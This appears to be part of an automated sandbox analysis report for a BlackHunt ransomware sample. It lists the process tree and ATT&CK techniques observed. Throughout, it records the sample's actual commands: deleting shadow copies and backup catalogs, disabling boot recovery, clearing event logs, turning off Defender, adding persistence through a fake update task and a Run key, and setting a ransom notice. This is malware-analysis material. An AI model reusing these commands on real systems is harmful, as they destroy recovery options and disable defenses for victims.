- Suspicious use of WriteProcessMemory
- System policy modification
PID:1144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:740
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:5128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:1612
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:8560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3528
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:12452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:5084
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:12440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:4440
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:11244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:5204
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:13164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:5260
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:5188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:5168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:4860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe" /F
  2⤵
  PID:3672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:3988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:5044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:5112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:4812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:60
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:4720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:3188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:1836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:3872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:4368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:3660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:1692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:5104
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    PID:6836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:6296
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    PID:5808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:4672
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:13008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2976
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:6604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:6888
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:3004
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe"
  2⤵
  PID:6256
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:5172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:6300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:6288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:5164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:11076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:11136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:6996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:9872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:9548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:9516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:9108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:6684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:4324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:4460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:10136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:10040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:8932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:10760

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
1⤵
- Modifies registry class
PID:4740

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
1⤵
PID:4924

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
1⤵
PID:8568

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:11272

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
1⤵
PID:11028

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
1⤵
PID:8552

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
1⤵
PID:6592

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
1⤵
PID:12460

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
1⤵
PID:12444

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:6616

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
1⤵
- Interacts with shadow copies
PID:10732

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
1⤵
- Interacts with shadow copies
PID:9316

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
1⤵
- Interacts with shadow copies
PID:10924

C:\Windows\system32\schtasks.exe
SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe" /F
1⤵
- Creates scheduled task(s)
PID:11284

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:7548

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:10908

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
PID:12304

C:\Windows\system32\schtasks.exe
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
1⤵
PID:10680

C:\Windows\system32\fsutil.exe
fsutil.exe usn deletejournal /D C:
1⤵
- Deletes NTFS Change Journal
PID:10856

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
1⤵
- Modifies boot configuration data using bcdedit
PID:10436

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:6212

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:8976

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
1⤵
PID:6448

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
1⤵
PID:912

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:12424

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
1⤵
PID:10492

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:10452

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
1⤵
PID:6108

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
1⤵
PID:7580

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
1⤵
PID:5008

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
1⤵
PID:1128
- C:\Windows\system32\reg.exe
  reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Modifies registry class
  PID:1876

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
1⤵
PID:4760

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
1⤵
PID:2976

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
1⤵
PID:3484

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
1⤵
- Adds Run key to start application
PID:3232

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
1⤵
- Modifies registry class
PID:3904

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
1⤵
- Modifies registry class
PID:2220

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:3484

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Setup
1⤵
- Clears Windows event logs
PID:10232

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
1⤵
- Modifies boot configuration data using bcdedit
PID:11664

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Security /e:false
1⤵
- Clears Windows event logs
PID:11272

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:6020

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:10380

C:\Windows\system32\schtasks.exe
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
1⤵
PID:12216

C:\Windows\system32\notepad.exe
notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
1⤵
PID:1984

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
PID:11964
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 11964 -s 1456
  2⤵
  - Program crash
  PID:232

C:\Windows\system32\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
1⤵
PID:6452

C:\Windows\system32\schtasks.exe
SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
1⤵
PID:5728

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
1⤵
PID:6364

C:\Windows\system32\taskkill.exe
taskkill /IM mshta.exe /f
1⤵
- Kills process with taskkill
PID:12436

C:\Windows\system32\fsutil.exe
fsutil.exe usn deletejournal /D C:
1⤵
- Deletes NTFS Change Journal
PID:10464

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 11964 -ip 11964
1⤵
PID:8240

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Application
1⤵
- Clears Windows event logs
PID:9028

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl System
1⤵
- Clears Windows event logs
PID:9880

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D C:\
1⤵
PID:468

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D F:\
1⤵
PID:12424

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery